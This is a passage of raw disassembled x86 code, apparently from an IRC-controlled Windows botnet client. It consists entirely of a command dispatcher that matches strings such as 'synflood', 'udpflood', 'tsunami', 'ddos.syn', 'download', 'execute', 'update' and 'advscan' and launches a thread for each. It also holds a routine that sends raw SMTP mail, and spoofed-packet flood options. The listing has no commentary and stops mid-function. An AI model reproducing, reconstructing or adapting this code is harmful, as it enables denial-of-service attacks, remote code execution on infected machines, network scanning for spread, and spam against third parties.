		push	[ebp+arg_4]
		push	[ebp+Src]	; Source
		call	sub_41A460
		add	esp, 10h
		push	eax
		push	offset aS_13	; "%s"
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_4064D6:				; CODE XREF: sub_401CC7+47EBj
		push	offset unk_442318
		jmp	loc_408850
; ---------------------------------------------------------------------------

loc_4064E0:				; CODE XREF: sub_401CC7+47E7j
		push	offset unk_44233C
		jmp	loc_408850
; ---------------------------------------------------------------------------

loc_4064EA:				; CODE XREF: sub_401CC7+4559j
		push	edi		; Str2
		push	offset aCapture	; "capture"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A0
		push	edi		; Str2
		push	offset aCap	; "cap"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A0
		push	edi		; Str2
		push	offset aGethost	; "gethost"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FAC
		push	edi		; Str2
		push	offset aGh	; "gh"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FAC

loc_40653E:				; CODE XREF: sub_401CC7+3CB7j
					; sub_401CC7+3CE6j ...
		mov	edi, [ebp+esi+Format]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_402085
		push	[ebp+arg_8]	; Str2
		push	offset aKilllog	; "killlog"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F92
		push	[ebp+arg_8]	; Str2
		push	offset aKl	; "kl"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F92
		push	[ebp+arg_8]	; Str2
		push	offset aAddalias ; "addalias"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F4F
		push	[ebp+arg_8]	; Str2
		push	offset aAa	; "aa"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F4F
		push	[ebp+arg_8]	; Str2
		push	offset aPrivmsg_1 ; "privmsg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EFA
		push	[ebp+arg_8]	; Str2
		push	offset aPm	; "pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EFA
		push	[ebp+arg_8]	; Str2
		push	offset aAction	; "action"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E8D
		push	[ebp+arg_8]	; Str2
		push	offset aA	; "a"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E8D
		push	[ebp+arg_8]	; Str2
		push	offset aCycle	; "cycle"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E29
		push	[ebp+arg_8]	; Str2
		push	offset aCy	; "cy"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E29
		push	[ebp+arg_8]	; Str2
		push	offset aMode_0	; "mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DED
		push	[ebp+arg_8]	; Str2
		push	offset aM	; "m"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DED
		push	[ebp+arg_8]	; Str2
		push	offset aC_raw	; "c_raw"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D7E
		push	[ebp+arg_8]	; Str2
		push	offset aC_r	; "c_r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D7E
		push	[ebp+arg_8]	; Str2
		push	offset aC_mode	; "c_mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF8
		push	[ebp+arg_8]	; Str2
		push	offset aC_m	; "c_m"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF8
		push	[ebp+arg_8]	; Str2
		push	offset aC_nick	; "c_nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C88
		push	[ebp+arg_8]	; Str2
		push	offset aC_n	; "c_n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C88
		push	[ebp+arg_8]	; Str2
		push	offset aC_join	; "c_join"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C3A
		push	[ebp+arg_8]	; Str2
		push	offset aC_j	; "c_j"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C3A
		push	[ebp+arg_8]	; Str2
		push	offset aC_part	; "c_part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BD6
		push	[ebp+arg_8]	; Str2
		push	offset aC_p	; "c_p"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BD6
		push	[ebp+arg_8]	; Str2
		push	offset aTarga3	; "targa3"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B01
		push	[ebp+arg_8]	; Str2
		push	offset aT3	; "t3"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B01
		push	[ebp+arg_8]	; Str2
		push	offset aTsunami	; "tsunami"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A06
		push	[ebp+arg_8]	; Str2
		push	offset aTsn	; "tsn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A06
		push	[ebp+arg_8]	; Str2
		push	offset aRepeat	; "repeat"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408902
		push	[ebp+arg_8]	; Str2
		push	offset aRp	; "rp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408902
		push	[ebp+arg_8]	; Str2
		push	offset aDelay	; "delay"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408863
		push	[ebp+arg_8]	; Str2
		push	offset aDe	; "de"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408863
		push	[ebp+arg_8]	; Str2
		push	offset aUpdate	; "update"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086D2
		push	[ebp+arg_8]	; Str2
		push	offset aUp_0	; "up"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086D2
		push	[ebp+arg_8]	; Str2
		push	offset aExecute	; "execute"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40863F
		push	[ebp+arg_8]	; Str2
		push	offset aE	; "e"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40863F
		push	[ebp+arg_8]	; Str2
		push	offset aFindfile ; "findfile"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408530
		push	[ebp+arg_8]	; Str2
		push	offset aFf	; "ff"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408530
		push	[ebp+arg_8]	; Str2
		push	offset aRename	; "rename"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084B9
		push	[ebp+arg_8]	; Str2
		push	offset aMv	; "mv"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084B9
		push	[ebp+arg_8]	; Str2
		push	offset aIcmpflood ; "icmpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083BC
		push	[ebp+arg_8]	; Str2
		push	offset aIcmp	; "icmp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083BC
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		mov	[ebp+Src], eax
		jz	loc_402085
		push	[ebp+arg_8]	; Str2
		push	offset aClone_0	; "clone"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082D4
		push	[ebp+arg_8]	; Str2
		push	offset aC	; "c"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082D4
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_syn ; "ddos.syn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081DB
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_ack ; "ddos.ack"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081DB
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_random ; "ddos.random"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081DB
		push	[ebp+arg_8]	; Str2
		push	offset aWisdom_udp ; "wisdom.udp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406A51
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi		; Count
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_31FC]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_317C]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_30FC]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	13h		; int
		push	eax		; Source
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B756
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset sub_41514F
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_406A40

loc_406A2A:				; CODE XREF: sub_401CC7+4D77j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403F8B
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_406A2A
; ---------------------------------------------------------------------------

loc_406A40:				; CODE XREF: sub_401CC7+4D61j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442D88
		jmp	loc_403F7C
; ---------------------------------------------------------------------------

loc_406A51:				; CODE XREF: sub_401CC7+4CB7j
		push	[ebp+arg_8]	; Str2
		push	offset aSynflood ; "synflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080F3
		push	[ebp+arg_8]	; Str2
		push	offset aSyn	; "syn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080F3
		push	[ebp+arg_8]	; Str2
		push	offset aSkysyn	; "skysyn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406B7E
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi		; Count
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3624]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_35A4]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3524]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+Src]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+Dst]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+Source]
		push	offset asc_442E48 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	10h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset sub_4140A7
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_406B6D

loc_406B57:				; CODE XREF: sub_401CC7+4EA4j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_4074F3
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_406B57
; ---------------------------------------------------------------------------

loc_406B6D:				; CODE XREF: sub_401CC7+4E8Ej
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_442E78
		jmp	loc_4074E4
; ---------------------------------------------------------------------------

loc_406B7E:				; CODE XREF: sub_401CC7+4DC9j
		push	[ebp+arg_8]	; Str2
		push	offset aPhatwonk ; "phatwonk"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40800B
		push	[ebp+arg_8]	; Str2
		push	offset aWonk	; "wonk"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40800B
		push	[ebp+arg_8]	; Str2
		push	offset aDownload ; "download"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407ECD
		push	[ebp+arg_8]	; Str2
		push	offset aDl	; "dl"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407ECD
		push	[ebp+arg_8]	; Str2
		push	offset aRedirect ; "redirect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407DD0
		push	[ebp+arg_8]	; Str2
		push	offset aRd	; "rd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407DD0
		push	[ebp+arg_8]	; Str2
		push	offset aScan_0	; "scan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CDD
		push	[ebp+arg_8]	; Str2
		push	offset aSc	; "sc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CDD
		push	[ebp+arg_8]	; Str2
		push	offset aC_privmsg ; "c_privmsg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BD8
		push	[ebp+arg_8]	; Str2
		push	offset aC_pm	; "c_pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BD8
		push	[ebp+arg_8]	; Str2
		push	offset aC_action ; "c_action"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AE0
		push	[ebp+arg_8]	; Str2
		push	offset aC_a	; "c_a"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AE0
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_402085
		push	[ebp+arg_8]	; Str2
		push	offset aPortscan ; "portscan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079DA
		push	[ebp+arg_8]	; Str2
		push	offset aPsc	; "psc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079DA
		push	[ebp+arg_8]	; Str2
		push	offset aAdvscan	; "advscan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407513
		push	[ebp+arg_8]	; Str2
		push	offset aAsc	; "asc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407513
		push	[ebp+arg_8]	; Str2
		push	offset aUdpflood ; "udpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073CA
		push	[ebp+arg_8]	; Str2
		push	offset aUdp	; "udp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073CA
		push	[ebp+arg_8]	; Str2
		push	offset aU	; "u"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073CA
		push	[ebp+arg_8]	; Str2
		push	offset aNetsend	; "netsend"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4072BC
		push	[ebp+arg_8]	; Str2
		push	offset aNs	; "ns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4072BC
		push	[ebp+arg_8]	; Str2
		push	offset aPingflood ; "pingflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407192
		push	[ebp+arg_8]	; Str2
		push	offset aPing_0	; "ping"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407192
		push	[ebp+arg_8]	; Str2
		push	offset aP	; "p"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407192
		push	[ebp+arg_8]	; Str2
		push	offset aTcpflood ; "tcpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FE9
		push	[ebp+arg_8]	; Str2
		push	offset aTcp	; "tcp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FE9
		push	[ebp+arg_8]	; Str2
		push	offset aEmail	; "email"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406F91
		push	[ebp+Source]	; Source
		lea	eax, [ebp+var_47EC]
		push	eax		; Dest
		call	_strcpy
		push	edi		; Str
		call	_atoi
		push	[ebp+Src]	; Source
		mov	[ebp+Source], eax
		lea	eax, [ebp+var_4188]
		push	eax		; Dest
		call	_strcpy
		push	[ebp+arg_18]	; Source
		lea	eax, [ebp+var_4588]
		push	eax		; Dest
		call	_strcpy
		push	offset asc_443650 ; " "
		push	offset a__1	; "_"
		push	[ebp+esi+var_7C] ; Src
		call	sub_418C07
		push	eax		; Source
		lea	eax, [ebp+var_4288]
		push	eax		; Dest
		call	_strcpy
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4E3068	; WSAStartup
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4E317C	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4E3178	; socket
		push	[ebp+Source]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4E30F8	; htons
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4E30A0	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4E3110	; recv
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4E3148	; send
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4E3110	; recv
		push	esi
		call	dword_4E3190	; closesocket
		call	dword_4E3050	; WSACleanup
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset asc_4436A4 ; "-"

loc_406F4A:				; CODE XREF: sub_401CC7+2E73j
					; sub_401CC7+45C7j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf

loc_406F56:				; CODE XREF: sub_401CC7+247Cj
		add	esp, 0Ch

loc_406F59:				; CODE XREF: sub_401CC7+457Cj
					; sub_401CC7+66D4j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406F7A
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h

loc_406F7A:				; CODE XREF: sub_401CC7+29A3j
					; sub_401CC7+29F6j ...
		mov	esi, [ebp+File]

loc_406F7D:				; CODE XREF: sub_401CC7+6973j
					; sub_401CC7+7998j ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		pop	ecx
		mov	eax, esi
		jmp	loc_402088
; ---------------------------------------------------------------------------

loc_406F91:				; CODE XREF: sub_401CC7+512Dj
		push	[ebp+arg_8]	; Str2
		push	offset aHttpcon	; "httpcon"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406FBB
		push	[ebp+arg_8]	; Str2
		push	offset aHcon	; "hcon"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407563

loc_406FBB:				; CODE XREF: sub_401CC7+52DBj
		push	[ebp+esi+var_7C] ; int
		push	[ebp+arg_18]	; int
		push	[ebp+Src]	; int
		push	edi		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+Source]	; int
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_410B5C
		jmp	loc_404295
; ---------------------------------------------------------------------------

loc_406FE9:				; CODE XREF: sub_401CC7+50FFj
					; sub_401CC7+5116j
		push	[ebp+Source]	; Format
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+var_1354]
		push	eax		; Str2
		push	offset aSyn_0	; "syn"
		call	_strcmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_40704E
		lea	eax, [ebp+var_1354]
		push	eax		; Str2
		push	offset aAck	; "ack"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40704E
		lea	eax, [ebp+var_1354]
		push	eax		; Str2
		push	offset aRandom_0 ; "random"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40704E
		push	offset unk_44361C
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_40704E:				; CODE XREF: sub_401CC7+534Dj
					; sub_401CC7+5364j ...
		push	[ebp+arg_18]	; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_40717A
		push	[ebp+Source]	; Format
		lea	eax, [ebp+var_1354]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi		; Format
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+Src]	; Str
		call	_atoi
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+Format]	; Format
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_4070EB
		mov	eax, offset aNormal ; "Normal"

loc_4070EB:				; CODE XREF: sub_401CC7+541Dj
		push	[ebp+arg_18]
		push	[ebp+Src]
		push	edi
		push	[ebp+Source]
		push	eax
		push	offset asc_443578 ; "-"
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	14h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset sub_4148B6
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_407169

loc_407153:				; CODE XREF: sub_401CC7+54A0j
		cmp	[ebp+var_123C],	ebx
		jnz	loc_408506
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_407153
; ---------------------------------------------------------------------------

loc_407169:				; CODE XREF: sub_401CC7+548Aj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4435AC
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_40717A:				; CODE XREF: sub_401CC7+5398j
		push	offset asc_4435E4 ; "-"

loc_40717F:				; CODE XREF: sub_401CC7+2009j
					; sub_401CC7+201Fj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_408506
; ---------------------------------------------------------------------------

loc_407192:				; CODE XREF: sub_401CC7+50BAj
					; sub_401CC7+50D1j ...
		cmp	dword_4E31E8, ebx
		jnz	loc_4072A1
		mov	eax, [ebp+var_8]
		push	7Fh		; Count
		push	[ebp+Source]	; Source
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax		; Dest
		call	_strncpy
		push	edi		; Str
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_100C],	eax
		call	_atoi
		push	[ebp+arg_18]	; Str
		mov	[ebp+var_1008],	eax
		call	_atoi
		push	7Fh		; Count
		mov	[ebp+var_1004],	eax
		push	[ebp+Format]	; Source
		lea	eax, [ebp+var_110C]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_100C]
		push	offset asc_4434B0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	16h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset sub_413D05
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_407290

loc_40727A:				; CODE XREF: sub_401CC7+55C7j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_408506
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_40727A
; ---------------------------------------------------------------------------

loc_407290:				; CODE XREF: sub_401CC7+55B1j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4434F8
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_4072A1:				; CODE XREF: sub_401CC7+54D1j
		push	1FFh		; Count
		lea	eax, [ebp+Dst]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax		; Dest
		call	_strncpy
		jmp	loc_408503
; ---------------------------------------------------------------------------

loc_4072BC:				; CODE XREF: sub_401CC7+508Cj
					; sub_401CC7+50A3j
		push	edi
		lea	eax, [ebp+Dst]
		push	[ebp+Source]
		push	[ebp+Src]
		push	offset asc_4433BC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		push	[ebp+Src]	; Str
		call	_strlen
		mov	edx, eax
		push	edi		; Str
		mov	edi, edx
		call	_strlen
		push	[ebp+Source]	; Str
		add	edi, eax
		call	_strlen
		push	[ebp+arg_8]	; Str
		add	edi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]	; SubStr
		lea	eax, [eax+edi+7]
		push	eax		; Str
		call	_strstr
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+Src]	; Str
		call	_atoi
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_4073B6

loc_40733F:				; CODE XREF: sub_401CC7+569Cj
		push	[ebp+arg_C]	; int
		push	edi		; int
		push	[ebp+Source]	; Source
		call	sub_419471
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_407367
		cmp	eax, ebx
		jnz	short loc_407386
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_40733F
		jmp	short loc_4073BF
; ---------------------------------------------------------------------------

loc_407367:				; CODE XREF: sub_401CC7+568Dj
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_4433F8 ; int

loc_407370:				; CODE XREF: sub_401CC7+5701j
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h
		jmp	loc_407563
; ---------------------------------------------------------------------------

loc_407386:				; CODE XREF: sub_401CC7+5691j
